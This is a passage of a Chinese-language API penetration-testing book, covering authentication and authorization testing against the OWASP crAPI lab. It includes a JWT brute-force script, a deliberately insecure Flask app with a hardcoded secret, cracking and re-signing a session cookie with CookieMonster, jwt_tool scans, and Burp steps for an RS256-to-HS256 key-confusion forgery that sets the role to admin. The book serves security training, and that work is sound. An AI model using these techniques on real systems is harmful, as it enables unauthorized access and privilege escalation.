2023-12-28 18:34:17.935 DEBUG 8 --- [nio-8080-exec-9] .m.m.a.ExceptionHandlerExceptionResolver : Resolved [org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value; nested exception is com.fasterxml.jackson.databind.JsonMappingException: Illegal unquoted character ((CTRL-CHAR, code 10)): has to be escaped using backslash to be included in string value<LF> at [Source: (PushbackInputStream); line: 1, column: 205] (through reference chain: com.crapi.model.SignUpForm["email"])]
至此,我们已经完成了关于 API 侦察和信息收集的章节。
总结
本章涵盖了你在进行 API 渗透测试过程中必须了解的重要主题。你学到的第一步是必须从收集目标的信息和进行侦查开始。在正确识别并枚举 API 后,你学会了必须仔细阅读其文档,找出它公开的端点。这可能会揭示出有价值的信息,正如你所学到的。此外,你还学会了可以利用一组非常有用的技术,称为 OSINT,这些技术被法医调查人员和爱好者广泛应用。章节最后有一部分补充内容,介绍了 API 数据和架构结构在这一阶段的重要性。
在下一章,你将学习如何在进行 API 渗透测试时,更深入地探索身份验证和授权阶段。本章简要介绍了这一话题,但我们将在下一章深入分析并进行更多测试。
进一步阅读
-
VirtualBox 类型 2 虚拟机管理程序:
www.virtualbox.org/ -
UTM 类型 2 虚拟机管理程序:
mac.getutm.app/ -
Podman,Docker 的超集:
podman.io/ -
OWASP WebGoat 漏洞 Web 应用程序:
owasp.org/www-project-webgoat/ -
OWASP crAPI 漏洞 API:
owasp.org/www-project-crapi/ -
Zed Attack Proxy 扫描器:
www.zaproxy.org/ -
Shodan,一个物联网漏洞搜索引擎:
www.shodan.io/ -
Fiddler,一个网络分析工具:
www.telerik.com/fiddler/fiddler-everywhere -
Wireshark,最著名的网络数据包捕获工具之一:
www.wireshark.org/ -
APIs Guru,一个不错的 API 文档列表:
apis.guru/ -
ReDoc,构建和阅读 API 文档的工具:
github.com/Redocly/redoc -
Swagger UI,构建和阅读 API 文档的工具:
github.com/swagger-api/swagger-ui -
建立 HTTP 规范的 RFC:
datatracker.ietf.org/doc/html/rfc2616#page-31 -
讨论 OSINT 市场增长的报告:
www.businessresearchinsights.com/market-reports/open-source-intelligence-market-109546 -
ExploitDB Google Dorks,一个包含 OSINT 小抄的列表:
www.exploit-db.com/google-hacking-database/ -
OSINT 框架,一个关于 OSINT 的工具和资源广泛列表:
osintframework.com/ -
Google Dork 备忘单,更多关于 OSINT 的资源:
gist.github.com/ikuamike/c2611b171d64b823c1c1956129cbc055 -
用于自动化 crAPI 请求的 crAPI Postman 集合:
github.com/OWASP/crAPI/tree/develop/postman_collections
第四章:认证与授权测试
假设你已经阅读了上一章或者对应用程序编程接口(API)侦察有所了解,现在是时候深入进行 API 渗透测试了。在上一章中,我们通过访问属于其他用户的对象中的数据来完成了一个 crAPI 挑战。这些数据应该受到保护,但 crAPI 没有正确地执行。这是一个授权缺陷。
我们需要调查 API 如何建立其最基本的安全机制,即如何认证和授权用户。我们将使用术语AuthN来指代认证,使用AuthZ来指代授权,以便简化这些词汇;这在文献中是一个常见做法。弱认证机制通常可以在我们工作初期发现,这一部分内容在上一章已经讲解过。经过一些交互和分析后,我们可以发现 API 所应用的数据结构,然后发现弱授权控制。
在本章中,你将更深入地学习这两个话题,不仅分析它们如何被 API 展示,还将理解配置和实施它们的最佳实践,以保护应用环境。弱或实现不当的认证和/或授权防护措施可能会危及整个应用程序,而不仅仅是 API。
在本章中,我们将讨论以下主要话题:
-
审查认证机制
-
测试弱凭证和默认账户
-
探索授权机制
-
绕过访问控制
技术要求
我们将利用与第三章中描述的相同环境。总的来说,你需要一个类型 2 的虚拟化管理程序,如 VirtualBox,以及我们之前使用的相同工具,特别是 crAPI 项目。
审查认证机制
网络上有许多 API 在不需要前期认证的情况下工作,主要用于只读操作。一个典型的例子是综合知识档案网络(CKAN)框架(ckan.org/)。这是一个开源项目,旨在帮助企业和政府在互联网上发布数据。整个框架使用 Python 编写,具有一个 RESTful API,支持读写操作。由于 CKAN 被设计用来帮助开放数据倡议,因此拥有对其所提供的数据的读取访问权限是预期中的。
也有不少 API 端点不需要认证(AuthN)。在上一章中,我们提到了 OSINT Framework,这是一个策划其他开源情报(OSINT)网站、工具和博客的列表网站。你会发现一些工具,例如 IP 位置和地理位置查询,它们完全免费且不需要事先认证就能在互联网上使用。在这种情况下,仅允许读取操作,服务提供者应保护其后台,防止未经授权的数据访问尝试。
迟早,API 可能需要一种认证机制(AuthN)。我们将逐一解释不同的认证机制。目前,以下是实现 API 时最常见的几种认证方式,特别是 RESTful API:
-
API 密钥:为应用程序颁发的唯一标识符,用于认证(AuthN)。公共云提供商可能会给你一到两个这样的密钥,以便你在通过 API 与提供商交互时能够识别自己(或某些代码)。
-
基础认证(Basic AuthN):通过 Base64 编码传输用户名和密码(不推荐用于敏感数据)。许多人仍然将编码与加密混淆。即使文本看起来像是完全无意义的,单纯的编码数据并没有安全性。即便基本认证是在加密通道上进行的,如 TLS 连接,仍应尽量避免使用这种方式。
-
OAuth:一种开放标准,用于授权(AuthZ),在不共享凭据的情况下委托访问。也称为持有者令牌(bearer token),OAuth 2.0 提供了基于令牌的认证机制(AuthN)。客户端从授权服务器获取令牌,并将其包含在 API 请求中。OpenID Connect(OIDC)是建立在 OAuth 之上的认证层(AuthN)。OIDC 通过添加身份层增强了 OAuth,使客户端能够验证最终用户的身份。
-
会话令牌:用于在初次登录后维持已认证状态。它们像是登录后生成的临时密钥,存储在你的浏览器或网站代码中。它们在不需要频繁登录的情况下帮助你在在线平台上进行身份识别,同时提供便利和安全性。
-
JSON Web 令牌(JWTs):自包含的令牌,携带用户信息和声明。这是一种紧凑、URL 安全的方式,用于表示两个方之间的声明。它们通常作为持有者令牌(bearer tokens)用于认证(AuthN)。JWTs 常通过请求头或查询参数传递。
让我们深入探讨这些方法的细节。
API 密钥
API 密钥是一种身份验证(AuthN)形式,用于控制对 API 的访问。它们是字符字符串,通常由 API 提供商生成,作为令牌来验证和授权客户端(应用程序、用户或其他服务)向 API 服务器发送的请求。它们是唯一的字符字符串,充当数字标识符,允许应用程序访问 API。它们作为基本的身份验证机制,确保只有授权用户才能访问敏感数据或功能。正如前面提到的,这也是公共云提供商在其平台中选择建立身份验证的方式之一,通常在客户编写与 API 交互的应用程序或使用 CLI 工具时实现。
API 密钥可以作为单个密钥或密钥对(更常见)生成。当以密钥对的形式呈现时,其中一个密钥代表登录名/用户名,而另一个则像密码一样工作。这些密钥与实际用户名在内部关联。你可能会问,为什么需要一对额外的凭证,而知名的用户名/密码方法就能解决身份验证(AuthN)问题?其实很简单:虽然一个用户名只能有一个活动密码,但同一个用户名可以有多个附加的 API 密钥,并且这些密钥可以绑定不同的权限(身份授权,AuthZ)。另一个区别在于概念的本质。API 密钥允许应用程序与 API 进行交互,而用户名/密码凭证对则是供人类使用的。
要使用 API 密钥,必须在所有请求中提供它们。处理这些密钥的策略有很多。一些工具将它们存储在明文配置文件中并加载到内存中,而另一些则简单地创建环境变量来存储内容。密钥的存储方式正是发现它们的首选方法。开发人员时不时会将密钥泄露到公共代码库中,或者将其硬编码到 HTML 或 JavaScript 文件中。你可以利用一些工具来帮助你完成这一步骤,以下是一些示例:
-
badsecrets (
github.com/blacklanternsecurity/badsecrets): 用于在多个不同平台上查找密钥的库。 -
Gitleaks (
gitleaks.io/): 可能是最受欢迎的工具,用于在类似 Git 的代码库、目录和文件中查找密钥。 -
KeyFinder (
github.com/momenbasel/KeyFinder): Chrome 扩展程序,用于在浏览网页时查找密钥。 -
Keyhacks (
github.com/streaak/keyhacks): 包含在各种漏洞赏金计划中发现的密钥的公共代码库。帮助你检查这些密钥在计划结束后是否有效。此工具有 ChatGPT Plus 版本:https://chat.openai.com/g/g-JaNIbfsRt-keyhacks-gpt。 -
Mantra (
github.com/MrEmpy/mantra): 在 HTML 和 JavaScript 文件中查找密钥。 -
Nuclei Templates (
github.com/projectdiscovery/nuclei-templates): 你可以使用它对各种 API 端点测试相同的密钥。 -
Secrets Patterns DB (
github.com/mazen160/secrets-patterns-db): 一个正则表达式数据库,可以被其他工具使用,例如 TruffleHog,用于在各种类型的文件中查找密钥、令牌或密码模式。 -
TruffleHog (
github.com/trufflesecurity/truffleHog): 一个瑞士军刀工具,可以在许多地方查找密钥和秘密,包括 GitHub 仓库和容器镜像。
这些工具有的以容器形式运行,有的作为库可以用来增强你自己的代码,有的则是命令行工具。你不会难以找到其他类似的工具,包括 Kali Linux 等渗透测试发行版。让我们先用 TruffleHog 对我的一些个人 GitHub 仓库做一个快速测试。首先,我们将单独使用该工具,然后添加 Secrets Patterns DB。为了使用 Secrets Patterns DB,我们首先需要用它创建一个正则表达式 JSON 模式文件。让我们先运行工具:
$ docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/mauricioharley/barbican-operator --issue-comments --pr-comments
TruffleHog. Unearth your secrets.
2024-01-03T12:22:34Z info-0 trufflehog running source {"source_manager_worker_id": "WH1SL", "with_units": false, "target_count": 0, "source_manager_units_configurable": true}
2024-01-03T12:22:34Z info-0 trufflehog Completed enumeration {"num_repos": 1, "num_orgs": 0, "num_members": 0}
2024-01-03T12:22:36Z info-0 trufflehog finished scanning {"chunks": 1056, "bytes": 861040, "verified_secrets": 0, "unverified_secrets": 0, "scan_duration": "2.502645278s"}
现在,让我们利用 Secrets Pattern DB 并重新运行它:
$ ./convert-rules.py --db ../db/rules-stable.yml --type trufflehog > /tmp/regex.json
$ ./trufflehog github --repo https://github.com/mauricioharley/barbican-operator --include-paths=/tmp/regex.json --issue-comments --pr-comments
TruffleHog. Unearth your secrets.
2024-01-03T14:38:49+01:00 info-0 trufflehog running source {"source_manager_worker_id": "v1HMM", "with_units": false, "target_count": 0, "source_manager_units_configurable": true}
2024-01-03T14:38:49+01:00 info-0 trufflehog Completed enumeration {"num_repos": 1, "num_orgs": 0, "num_members": 0}
2024-01-03T14:38:52+01:00 info-0 trufflehog finished scanning {"chunks": 0, "bytes": 0, "verified_secrets": 0, "unverified_secrets": 0, "scan_duration": "2.861085032s"}
幸运的是,到目前为止没有发现任何秘密。顺便提一句,在生成上面输出中的 regex.json 文件后,我遇到了一些已填充的正则表达式问题。也许是因为 Secrets Patterns DB 中某些更新丢失了,因为它提到的是 TruffleHog 版本 2,而该工具已经是版本 3。
基本身份验证
这是可能最容易被检测到的 AuthN 方法之一。每次你尝试访问一个网站,浏览器显示一个对话框请求你输入凭证对时,那就是基本身份验证。当一个 Web 客户端访问一个需要基本身份验证的服务器时,所有请求都会提供一个 Authorization 头部,里面包含用户名和密码,中间用冒号分隔,所有内容都经过 Base64 编码。
一个示例请求可能是这样的:
GET /api/v2/list_resources
Authorization: Basic bWF1cmljaW86TXlQYXNzd29yZCNAIQo=
当服务器接收到请求时,进行一个简单的 Base64 解码操作,以检查凭证是否有效。当身份验证通过时,服务器响应请求;否则,发送一个 401 代码表示未授权操作。在这里,还有一些其他因素需要考虑:这样的用户数据库是如何安全存储和处理的?凭证在存储时是否加密?是否有某种哈希或加盐机制来生成或再次验证密码的有效性?
那么,如何识别何时使用这种 AuthN?很简单。第一种方法是通过分析请求。Authorization关键字的存在就能明确表示。响应也可以表明其存在。根据服务器的实现方式,你可能会收到WWW-Authenticate头。最后,如果连接没有通过 TLS 加密保护,任何网络检查工具,如 Wireshark,都会披露 AuthN 类型。一些非常旧的 Web 服务器甚至可能将用户名和密码包含在查询字符串本身中。
攻击基本身份验证(AuthN)环境的一些方式包括通过中间人攻击(MiTM)来进行,尤其是在未应用 TLS 的情况下,或通过暴力破解系统,尝试系统地猜测凭证对,甚至通过社会工程学攻击,如钓鱼攻击。事实上,基本的 AuthN 非常不安全且过时,因此你可能不会在很多 API 端点上看到它。然而,在我撰写本章时进行的一些搜索中,我发现了一些文档,解释了如何配置像 WSO2 这样的产品(apim.docs.wso2.com/en/3.0.0/learn/design-api/endpoints/endpoint-security/basic-auth/)以及 Apigee 的 Edge API(docs.apigee.com/api-platform/system-administration/basic-auth)。令人望而生畏……
OAuth
这可能是当前网络上最常用的 AuthN 机制之一。OAuth 是实现这一点的关键,例如,它允许你登录到你喜欢的游戏平台,而无需创建凭证对,只需利用一些现有的外部凭证,例如你用来访问 Google、Facebook 或 Apple 账户的凭证。
OAuth 至今发布了两个版本。版本 1.0 于 2010 年发布,并引入了基于令牌的 AuthN 核心概念。它依赖于使用加密签名来保护通信。OAuth 2.0 于 2012 年发布,是自那时以来的最新版本。它是 OAuth 1.0 的重要演变,引入了更简化和灵活的授权框架。它依赖于令牌,包括访问令牌和刷新令牌,用于授予访问权限和管理权限。
一些关键组件需要提及:
-
资源所有者:拥有资源的实体,通常是最终用户。
-
客户端:希望访问用户资源的应用程序或服务。
-
授权服务器:管理授权过程,并在成功进行身份验证后发放访问令牌。
-
资源服务器:托管客户端希望访问的受保护资源(例如用户照片)。
-
访问令牌:表示资源所有者授权的凭证。
-
刷新令牌:一种用于在当前访问令牌过期时获取新访问令牌的凭证。
我们可以通过几种方式检测 API 端点是否使用 OAuth。文档是最先要查看的地方,并且可以节省时间。此外,Authorization: Bearer <token> 或 Authorization: Bearer <token type> <token> 的存在也会揭示认证类型。最后,您可以采用通用的 试错 方法,发送一些包含无效令牌的虚拟请求并捕获输出。crAPI 项目没有使用这种方法,而是采用了一种类似的方法,我们将在下一节中讨论。
将 OAuth 应用于 Web 应用程序的目的之一是允许用户使用 单点登录(SSO)。通过在一个地方存储用户的凭证,至少对于用户的数据库来说,这个地方需要特别关注加密保护。然后,通过使用安全的方式传输凭证,相同的用户可以无缝地登录到多个不同的应用程序,而无需每次都提供凭证对。
在 OAuth 架构中,身份提供者(IdP)是负责存储和管理凭证对的元素。OAuth 2.0 规范有几种不同的授权流程(即授予请求访问令牌给请求应用程序的方式)。在与 IdP 集成时,开发者需要在不同的流程之间做出选择:
-
授权码授权(ACG)流程:通常这是最佳选择,因为它包含了双重验证步骤。它需要一个后端服务器,并进行一些 HTTP 302 重定向到重定向端点,提供一些代码。应用程序开发者需要确认 IdP 提供的端点与用户所使用的端点相同。
-
隐式授权流程(IGF):也称为仅客户端流程,这是第二常见的选项。在这种情况下,没有后端服务器。应用程序直接与身份提供者(IdP)通信。用户凭证被提供以获取 OAuth 访问令牌。由于客户端 ID 容易被伪造,因此没有客户端 ID。
-
客户端凭证授权(CCG)流程:这是一个小众的使用场景,通常不常见。CCG 可以在客户端应用程序拥有并使用与服务提供商的资源时使用,这些资源由客户端应用程序本身拥有和消费,而不是由最终用户拥有和消费。在 CCG 流程中,客户端应用程序代表自己请求访问令牌,然后随后使用该访问令牌来访问它所需的受保护资源。
-
密码授权流程:绝对不应该使用此流程。它非常简单,因为只需要通过常规的 POST 请求传递用户名和密码。根据 OAuth 2.0 安全最佳实践(见 进一步 阅读 部分的链接),此方法是不允许的。
有一些 OAuth 配置错误可能导致我们成功攻击利用这种机制的应用程序。客户端 ID 和客户端密钥绝不应暴露给最终用户。它们应该像凭证一样受到保护,因为它们可能允许恶意用户代表合法的应用程序调用身份提供者 (IdP),从而冒充该合法应用程序。对于 OAuth 2.0,仅凭此并不能实现用户冒充,因为攻击者仍然需要获取用户凭证。然而,恶意用户可以构建一个克隆的应用程序,收集用户凭证。通过生成可点击的链接并将其放入论坛或邮件中(这些链接指向攻击者配置了被盗客户端 ID/客户端密钥的后端服务器),此攻击会变得更加容易。
一种针对 OAuth 授权 API 的常见攻击方式是暴力破解。crAPI 并未采用这种机制,但让我们通过一些简单的 Python 代码与车辆部件网站进行交互,看看我们能得到什么。该代码改编自 Tescum (github.com/akimbo7/Tescum),具体如下:
import random, requests, string, time
token_start = "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ"
symbols = string.ascii_letters + string.digits + "_.-"
tries = 1000 # Choose a number at your convenience
wait_time = 50 # Number of ms to wait for before sending the next request
for _ in range(tries):
key = token_start + ''.join(random.choice(symbols) for i in range(464-len(token_start))) # crAPI tokens have 464 bytes.
headers = {'Authorization': f'Bearer {key}'}
r = requests.get(
'http://localhost:8888/workshop/api/shop/products',
headers = headers)
if 'Invalid JWT Token!' in r.text:
print(f"Token FAILED {key}")
print(f"Code: {r.status_code} Message: {r.json()['message']}\n")
else:
print(f"Token OK! {key}")
time.sleep(round(wait_time / 1000))
现在做些解释。这个代码最好像原始版本那样使用线程运行,但在我的测试系统上只成功运行过一次!撇开这个不谈,之前的版本运行良好,我添加了一行睡眠时间来避免过度加载 crAPI 的端点。在一些登录活动中,我发现所有的 bearer token 都以 eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ 开头。因此,我将其分配给一个变量。这部分解码后代表 {"alg":"RS256"},是从 Base64 解码得到的。令牌的其余部分是由字母、数字以及符号 -、. 和 _ 组成的随机序列。某些迭代会生成不太可能有效的令牌,例如以一对下划线结尾的令牌,而其他的则更相似。你可以尝试数千次而没有成功,但最终它会成功。这是一个简单的暴力破解脚本建议。
一些应用程序有更简单的令牌生命周期管理,将令牌存储在本地数据库中,并且从不轮换或过期。虽然这种做法方便,因为它让代码更简洁、更易于维护,但也存在固有的安全问题。根据存储位置的保护程度,这个数据库可能会因为攻击而被泄露或外泄,从而使应用程序所有用户的凭证暴露。令牌不经常轮换也是一个不良习惯,因为某些用户可能会选择以不安全的方式将其本地存储,这将使它们容易受到一些客户端攻击,包括钓鱼攻击的变种。
OAuth 并非绝对安全。 2023 年末,有关 Google OAuth 实现的故障被披露给公众,该公司在被通知后多天未采取进一步的修复措施。 问题出在 Google 如何处理其帐户上的电子邮件地址,允许具有相同域名的不同邮箱提交相同的声明。 解释在这里提供:trufflesecurity.com/blog/google-oauth-is-broken-sort-of/。
会话令牌
会话令牌一直是 Web 安全的基本组成部分,与 Web 应用程序的增长同步发展。 它们的历史可以追溯到在与 Web 服务器的多次交互中安全地维护用户状态的需求。 会话令牌是在成功的 AuthN 之后分配给用户的唯一标识符。 它作为引用存储在服务器上的用户会话数据。 通常,用户登录后会生成会话令牌,并作为 cookie 发送回客户端。 客户端的后续请求包括此令牌,允许服务器识别用户并检索其会话数据。 此机制有助于在无状态的 HTTP 中维护有状态的交互,增强用户体验和安全性。
在典型情况下,用户登录到 Web 应用程序后,会生成一个会话令牌,并安全地存储在服务器上,然后发送到客户端。 这个令牌随后包含在后续的请求中,使服务器能够将请求与特定用户的会话关联起来,并提供个性化内容或维护用户特定的设置。 检测会话令牌的使用涉及检查客户端和服务器之间的通信。 它们通常在 HTTP cookie 中找到,通过名称如session_id或access_token识别。 此外,检查 HTTP 请求的标头可能会显示会话令牌的存在。 让我们通过一个示例 Flask 应用程序观察如何生成这样的令牌:
from flask import Flask, request, session, jsonify
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret_key'
# Dummy user data for authentication
users = {
'user1': {'password': 'pass123', 'role': 'user'},
'admin': {'password': 'adminpass', 'role': 'admin'}
}
@app.route('/')
def home():
if 'username' in session:
return f'Hello, {session["username"]}! Your role is {session["role"]}.'
return 'Welcome to the home page. Please login.'
@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
username = data.get('username')
password = data.get('password')
if username in users and users[username]['password'] == password:
session['username'] = username
session['role'] = users[username]['role']
resp = jsonify({'message': 'Login successful!'})
resp.set_cookie('session_token', session['username'])
return resp
else:
return 'Login failed. Check your username and password.'
@app.route('/logout')
def logout():
session.pop('username', None)
session.pop('role', None)
resp = jsonify({'message': 'Logout successful!'})
resp.delete_cookie('session_token')
return resp
if __name__ == '__main__':
app.run(debug=True)
您可以通过 Postman 与此应用程序进行交互,或者更简单地使用几个curl命令。 应用程序正在等待 POST 请求作为登录和后续的 GET 请求。 登录体必须以 JSON 格式提供,因此我们需要相应地指示curl。 另外,为了确保会话 cookie 正确地存储在本地,我们使用--cookie-jar选项:
$ curl http://localhost:5000
Welcome to the home page. Please login.
$ curl -X POST -H "Content-Type: application/json" -d '{"username": "user1", "password": "pass123"}' http://localhost:5000/login --cookie-jar cookie.txt
{
"message": "Login successful!"
}
$ curl -b cookie.txt -c cookie.txt http://localhost:5000/
Hello, user1! Your role is user.
$ curl -b cookie.txt -c cookie.txt http://localhost:5000/logout
{
"message": "Logout successful!"
}
cookie.txt文件的内容将如下所示(字体大小缩小以便理解):
#HttpOnly_localhost FALSE / FALSE 0 session eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.Za2WiQ.jnPujptv1NBAqEYCbCKsk6hkq6c
localhost FALSE / FALSE 0 session_token user1
如果未能安全处理,会话令牌容易受到攻击。 常见的攻击包括会话劫持,其中攻击者窃取用户的会话令牌并冒充他们。 会话固定是另一种威胁,涉及攻击者强制用户使用特定的会话令牌。 您可以通过使用首选 Web 浏览器的开发者模式轻松发现某些 API 端点是否使用此机制。 例如,crAPI 不使用它。
在我们提供的这个实现中,cookie 是用应用程序源代码一开始的密钥签名的。有一个非常实用的用 Go 语言编写的工具叫做 CookieMonster(github.com/iangcarroll/cookiemonster),你可以利用它来发现这个密钥。它使用一个默认的字典,但也支持你自己的字典,这赋予了它非常强大的功能。让我们用我们示例应用程序生成的 cookie 进行测试:
$ ./cookiemonster -cookie "eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.Za2WiQ.jnPujptv1NBAqEYCbCKsk6hkq6c"
CookieMonster 1.4.0
CookieMonster loaded the default wordlist; it has 38919 entries.
Success! I discovered the key for this cookie with the flask decoder; it is "secret_key".
然后,瞧! 该工具还有一个方便的功能,用于重新签发 cookie,你可以利用它通过创建一个包含相应令牌的 cookie 来绕过 API 的授权(AuthZ)机制,而无需先进行认证。然而,目前它仅适用于 Django 应用程序:
$ ./cookiemonster -cookie "eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6ImFkbWluIn0.Za2WiQ.jnPujptv1NBAqEYCbCKsk6hkq6c"
-resign "My Own Data"
CookieMonster 1.4.0
CookieMonster loaded the default wordlist; it has 38919 entries.
Success! I discovered the key for this cookie with the flask decoder; it is "secret_key".
I resigned this cookie for you; the new one is: TXkgT3duIERhdGE.Za2WiQ.UJu6-KPF2cdDy2bFz6bk3vi-OhY
JSON Web Tokens(JWT)
JWT(JSON Web Tokens)是目前用于在网络上验证和授权应用程序及用户的最现代化方式之一。它们出现在 2010 年代初期,作为对移动领域日益增多的应用程序数量的提案。这一领域天生就有对安全的认证(AuthN)和授权(AuthZ)机制的需求。JWT 与我们之前讨论的其他方法不同,因为它将用户身份与服务器会话解耦。它们提供了一种更安全的方式来将必要的数据传递到不同的系统和应用程序中。
每个 JWT 都有三个部分:
-
头部:包含关于令牌的元数据,包括其格式和签名算法。
-
有效载荷:包含关于用户的实际声明,如用户名、角色和权限。这些数据通常以 JSON 格式进行编码。
-
签名:使用密钥生成的独特加密指纹,确保令牌的完整性和真实性。
当你登录到一个启用了 JWT 的系统时,服务器会生成一个包含你声明的 JWT,并使用一个密钥对其进行签名。这个令牌随后会发送到你的浏览器并安全存储。每次后续请求时,浏览器会自动将令牌发送到服务器。服务器验证签名并解码有效载荷,基于用户的声明授予访问权限。要检测 API 端点中 JWT 的使用,可以检查传入请求的头部。JWT 通常会通过Authorization头部,使用Bearer方案进行传输,如Authorization: Bearer <token>。crAPI 便是如此。此外,API 文档或响应头部可能会包含信息,指示使用 JWT 进行认证(AuthN)。
在处理 JWT 时,有两个工具你应该考虑。第一个是jwt.io/。头部、有效载荷和签名被用不同的颜色突出显示,以便于理解。通过使用 Postman、curl或你的网页浏览器的开发者工具,登录到 crAPI 并获取生成的令牌,作为成功认证尝试的响应(图 4.1)。将其存储在某个地方。

图 4.1 – 成功登录后生成的 crAPI 令牌
将令牌复制到 JWT.io 网站的Encoded部分。这将显示关于令牌的所有细节,包括用于生成它的算法。现在,下载第二个工具 JWT Toolkit v2,地址是github.com/ticarpi/jwt_tool。这是一个 Python 脚本,可以执行与 JWT 相关的多种任务。让我们看看它对我们最近复制的令牌说了什么(部分命令已省略,简化演示):
$ python jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdW...
Token header values:
[+] alg = "RS256"
Token payload values:
[+] sub = "mauricio@domain.com"
[+] role = "user"
[+] iat = 1706051672 ==> TIMESTAMP = 2024-01-24 00:14:32 (UTC)
[+] exp = 1706656472 ==> TIMESTAMP = 2024-01-31 00:14:32 (UTC)
Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 7 days, 0 hours, 0 mins
我们可以看到令牌是使用 RS256 签名的,并且其负载中有四个值:sub(通常是用户名)、一个角色和两个时间戳,分别表示令牌的发行时间和过期时间。JWT 可以使用多种算法进行签名,但通常见到的是以下两种方式之一:使用 HS 或不使用 HS。以 HS 开头的 JWT 最容易受到攻击,因为它们是对称签名方法。它们使用基于哈希的消息认证码(HMAC)结合安全哈希算法(SHA)哈希。由于它们是对称方法,在多个对等方相互通信的场景中,保护和共享签名密钥变得更加困难。当然,一旦密钥被泄露,就可以伪造令牌,且 AuthN/AuthZ 系统无法识别与合法令牌的区别。
另一方面,类似 RS 的 JWT 使用Rivest-Shamir-Adleman(RSA)非对称算法,服务器使用私钥签署令牌,并发布相应的公钥以便第三方验证令牌。该系统的安全性取决于用于保护私钥的机制。显然,这些令牌更安全,但由于使用了非对称算法,其生成和验证可能会较慢。
然而,即使是采用 RS 实现的系统,也可能会受到 JWT 攻击的威胁。有几种方法可以测试是否存在漏洞。借助我们的朋友jwt_tool,我们可以对 crAPI 部署进行测试,看看它是否能发现漏洞。在记录下你登录时收到的 AuthZ 令牌后,输入以下命令(单行命令)。/workshop/api/shop/products是 crAPI 的一个端点:
$ python jwt_tool.py -M at -t "http://localhost:8888/workshop/api/shop/products" -rh "Authorization: Bearer <original token>"
...
[+] Sending token
jwttool_7eaff80aee0ab3e8792d5bc1292a927b Sending token Response Code: 200, 169 bytes
Running Scanning Module:
Running prescan checks...
...
Scanning mode completed: review the above results.
没有发现漏洞。工具在攻击原始令牌时未成功。它建议使用hashcat尝试一些暴力破解攻击。你可以试试看,但会发现 hashcat 会抱怨令牌的大小,表示它太大。
实现 JWT 的 API 可能在/.well-known/jwks.json或/jwks.json路径下提供一个端点。这些端点的唯一目的是公开用于签署 API 生成的令牌的公钥。你可以访问http://localhost:8888/.well-known/jwks.json并复制其内容。它是一个 JSON 结构,包含一系列的键和值,类似于这样:
{ "keys": [ { "kty": "RSA", "e": "AQAB", "use": "sig", "kid": "MKMZkDenUfuDF2byYowDj7tW5Ox6XG4Y1THTEGScRg8", "alg": "RS256", "n": "sZKrGYja9S7BkO-waOcupoGY6BQjixJkg1Uitt278NbiCSnBRw5_cmfuWFFFPgRxabBZBJwJAujnQrlgTLXnRRItM9SRO884cEXn-s4Uc8qwk6pev63qb8no6aCVY0dFpthEGtOP-3KIJ2kx2i5HNzm8d7fG3ZswZrttDVbSSTy8UjPTOr4xVw1Yyh_GzGK9i_RYBWHftDsVfKrHcgGn1F_T6W0cgcnh4KFmbyOQ7dUy8Uc6Gu8JHeHJVt2vGcn50EDtUy2YN-UnZPjCSC7vYOfd5teUR_Bf4jg8GN6UnLbr_Et8HUnz9RFBLkPIf0NiY6iRjp9ooSDkml2OGql3ww" } ] }
我们知道用户的角色是user,这使我们推测这是一个普通的无权角色。我们的任务现在是伪造一个令牌,使该用户成为 crAPI 的管理员。由于该令牌不是使用 HMAC 算法签名的,因此我们不能使用jwt_tool的-C选项来破解令牌。如果普通用户的角色被称为user,也许管理员角色是admin。我们将检查 crAPI 是否容易受到密钥混淆漏洞的攻击,即通过提供 HS256 作为签名算法来欺骗 Web 服务器,并检查服务器的令牌验证功能是否足够天真,将提供的公钥当作 HMAC 密钥。接下来的测试,你应该考虑使用Burp Suite并安装JWT和JWT Editor扩展。我们将进行以下操作:
-
获取服务器的公钥(我们已经获得)。
-
将密钥转换为适当的格式。
-
通过将“alg”头设置为 HS256,生成一个新的 JWT。
-
使用 HS256 签署新的令牌,并将公钥用作对称密钥。
只需按照以下步骤操作,就可以完成:
-
打开 Burp Suite 并安装前述的扩展。你可以通过Extensions | BApp Store选项卡进行安装。
-
点击JWT Editor扩展,然后点击New RSA Key。
-
在此窗口中,将 JWKS 内容粘贴到
key块内(粘贴时,抑制keys部分和周围的花括号)。 -
接下来,选择PEM单选按钮。这将显示 PEM 格式的公钥。
-
复制此文本并点击OK按钮。
-
转到Decoder扩展,粘贴 PEM 公钥,点击Encode as...按钮,然后选择Base64。复制结果。
-
返回到JWT Editor扩展并点击New Symmetric Key。这将打开一个窗口,默认选中Random secret选项。
-
只需点击Generate按钮。
-
用从Decoder扩展复制的文本替换
k参数的内容。 -
点击OK。
配置你的 Web 浏览器,将 Burp Suite 用作代理。默认情况下,Burp Suite 在 localhost 端口8080上运行,但可以调整。用有效的用户名和密码登录到 crAPI。这将生成一个有效的令牌。切换到/identity/api/v2/vehicle/vehicles。选择此请求,右键点击它,选择Send to repeater。打开Repeater。你将在Raw和Hex标签旁边看到JSON Web Tokens标签。点击它。将算法更改为HS256,将角色更改为admin。
现在点击/workshop/api/shop/products,并发送请求。它会以Invalid JWT Token消息失败。这可能意味着 crAPI 的 JWT 实现没有受到密钥混淆漏洞的影响。但是,如果你将端点更改为/identity/api/v2/user/dashboard,crAPI 将返回一个有效的响应,并提供一个包含我们原始角色的 JSON 结构(图 4.2):

图 4.2 – crAPI 仅接受伪造的令牌用于用户仪表板端点
会话令牌、承载令牌和 JWT 在目的上相似,但在实现上有所不同。会话令牌通常存储在服务器上,其对应的数据也存储在服务器端。承载令牌是自包含的,通常用于 OAuth 进行 API 授权,而 JWT 是一种承载令牌,具有额外的特性,如声明和数字签名,使其在安全数据交换中更为多用途。会话令牌与用户会话紧密相关,常用于 Web 应用程序中以维持用户状态。
